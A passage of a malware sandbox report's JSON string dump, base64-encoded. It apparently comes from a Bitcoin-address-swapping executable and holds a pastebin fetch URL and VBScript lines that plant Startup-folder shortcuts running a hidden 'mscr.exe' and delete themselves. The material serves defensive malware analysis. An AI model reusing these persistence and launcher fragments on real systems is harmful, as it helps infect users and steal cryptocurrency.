Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XHVwZGF0ZSA6KSImZWNoby4+PiI=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XFVzZXJzXFBTUFVCV1MxQXBwRGF0YVxMMGNhbFxUZW1wXF9ha3VwbDQzMTY3Mw==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"X0NvckV4ZU1haW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YFw/P1xWb2x1bWV7ODE3N2Y0ZTQtYjUzZi0xMWU0LWE5YzItODA2ZTZmNmU2OTYzfQ==","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YFw/P1xWb2x1bWV7ODE3N2Y0ZTUtYjUzZi0xMWU0LWE5YzItODA2ZTZmNmU2OTYzfQ==","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHkgVmVyc2lvbg==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlDb21wYW55QXR0cmlidXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Qml0Y29pbi5leGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QlRDX0FERFJFU1M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JVVTRVJQUk9GSUxFJVxkb2N1bWVudHNcdmlzdWFsIHN0dWRpbyAyMDE3XFByb2plY3RzXEJpdGNvaW5cQml0Y29pblxvYmpcUmVsZWFzZVxCaXRjb2luLnBkYg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q09NT0RPIENBIExpbWl0ZWQxKzAp","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"Q09NT0RPIENBIExpbWl0ZWQxODA2","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGFueU5hbWU=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q29tVmlzaWJsZUF0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFwxRFlIZCoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFwzTVJZSyoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFw4UkxTQioubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFw5M01KTioubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxBQVNCZCoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxBSkhkcSoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxCZEFMUyoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxkcUFZSCoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxKTjkzQSoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxLOFJSWSoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxMU0JkUioubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxNUk45MyoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxuQmRBQSoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxOZHFBSioubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxxQUpOOSoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxSTFlLOCoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxSWUs4TSoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxTSzhSTCoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxZOTNNUioubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q291bGQgTm90IEZpbmQgJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxZSGRxRCoubG5r","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlyZWN0b3J5SW5mbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RWh0dHA6Ly9jcmwuY29tb2RvY2E0LmNvbS9DT01PRE9SU0FEb21haW5WYWxpZGF0aW9uU2VjdXJlU2VydmVyQ0EyLmNybDA=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":0,"total":64},{"value":"RWh0dHA6Ly9jcnQuY29tb2RvY2E0LmNvbS9DT01PRE9SU0FEb21haW5WYWxpZGF0aW9uU2VjdXJlU2VydmVyQ0EyLmNydDAl","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":0,"total":65},{"value":"RVJST1I6IFRoZSByZW1vdGUgcHJvY2VkdXJlIGNhbGwgZmFpbGVkLg==","type":"Unicode","source":"Runtime Data","process":"taskkill.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RmlsZURlc2NyaXB0aW9u","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZVZlcnNpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZmluZENsb3NlQWRkcmVzcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X0RheU9mWWVhcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X0V4ZWN1dGFibGVQYXRo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X0xlbmd0aA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X0xvY2F0aW9u","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X05ld0xpbmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X1N0YXJ0SW5mbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X1RpY2tz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X1VzZXJEb21haW5OYW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0X1VzZXJOYW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0QWRkcmVzc0xpc3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFByb2Nlc3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RGlyZWN0b3JpZXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RW50cnlBc3NlbWJseQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZU5hbWVXaXRob3V0RXh0ZW5zaW9u","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Rm9sZGVyUGF0aA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0T2xkU2hvcnRCVEM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UHJvY2Vzc2VzQnlOYW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"R2V0VGVtcFBhdGg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"SEVBRCAvZWRnZWRsL3JlbGVhc2UyL0hjcTFZcXNpaDJBLzU3LjAuMjk4Ny4xMzNfNTYuMC4yOTI0Ljg3X2Nocm9tZV91cGRhdGVyLmV4ZSBIVFRQLzEuMUNvbm5lY3Rpb246IEtlZXAtQWxpdmVBY2NlcHQ6ICovKkFjY2VwdC1FbmNvZGluZzogaWRlbnRpdHlVc2VyLUFnZW50OiBNaWNyb3NvZnQgQklUUy83LjVYLU9sZC1VSUQ6IGNudD0wWC1MYXN0LUhSOiAweDgwMDQyMTk0WC1MYXN0LUhUVFAtU3RhdHVzLUNvZGU6IDQwNFgtUmV0cnktQ291bnQ6IDBYLUhUVFAtQXR0ZW1wdHM6IDNYLUdvb2dsZVVwZGF0ZS1JbnRlcmFjdGl2aXR5OiBiZ1gtR29vZ2xlVXBkYXRlLVVwZGF0ZXI6IE9tYWhhLTEuMy4zMi43SG9zdDogcmVkaXJlY3Rvci5ndnQxLmNvbQ==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"SFRUUC8xLjEgNDA0IE5vdCBGb3VuZENvbnRlbnQtTGVuZ3RoOiAxNDQ5Q29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLThTZXJ2ZXI6IGRvd25sb2Fkc1gtQ29udGVudC1UeXBlLU9wdGlvbnM6IG5vc25pZmZYLUZyYW1lLU9wdGlvbnM6IFNBTUVPUklHSU5YLVhzcy1Qcm90ZWN0aW9uOiAxOyBtb2RlPWJsb2NrRGF0ZTogTW9uLCAxNiBPY3QgMjAxNyAxODoxMzozOSBHTVQ=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"aHR0cDovL29jc3AuY29tb2RvY2E0LmNvbTA=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"aHR0cDovL29jc3AuY29tb2RvY2E0LmNvbTBE","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"aHR0cDovL29jc3AudXNlcnRydXN0LmNvbTA=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L1gwYkN3c1Iz","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":0,"total":64},{"value":"aHR0cHM6Ly9zZWN1cmUuY29tb2RvLmNvbS9DUFMw","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":0,"total":64},{"value":"aXNJbnN0YWxsZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"aXNWYWxpZEFkZHJlc3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bG5rLkFyZ3VtZW50cyA9ICIvayBzdGFydCAiIiIiICIi","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bG5rLkFyZ3VtZW50cyA9ICIvayBzdGFydCAiIiIiICIiJUFQUERBVEElXEFkb2JlXDNNUllLXCBcbXNjci5leGUiIiZleGl0JiIiIg==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7284813.vbs","compromised":null,"detection_total":null,"total":null},{"value":"bG5rLkFyZ3VtZW50cyA9IFwiL2sgc3RhcnQgXCJcIlwiXCIgXCJcIg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bG5rLlNhdmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSI=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bG5rLlRhcmdldFBhdGggPSBcImNtZC5leGVcIg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bG5rLldpbmRvd1N0eWxlID0gIjci","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bG5rLldpbmRvd1N0eWxlID0gXCI3XCI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"bXNjb3JlZS5kbGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"b2JqRlNPLkRlbGV0ZUZpbGUoV3NjcmlwdC5TY3JpcHRGdWxsTmFtZSk=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"cGFzdGViaW4uY29t","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":0,"total":64},{"value":"cGFzdGViaW4uY29tMA==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2Vzc1N0YXJ0SW5mbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UHJvZHVjdFZlcnNpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2VydmljZXNBY3RpdmU=","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCI=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTA0ODkyNC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1990457.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTA1NTc3MS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1352268.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTIyMzAxMS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7434561.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTMwMDk0Ni5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup8245793.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTQ1MjAzMy5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1581107.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTU2NjAzMy5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1095315.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTcyMjA5My5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup8192529.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTg0NjQyLmxuayIp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup3077130.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTkyNjY4MS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1295063.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMTk5NjUxNC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7284813.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMjI4MjU0Ni5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup3197659.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMjUyNzEwOS5sbmsiKQ==","type":"Ansi","source":"Dropped 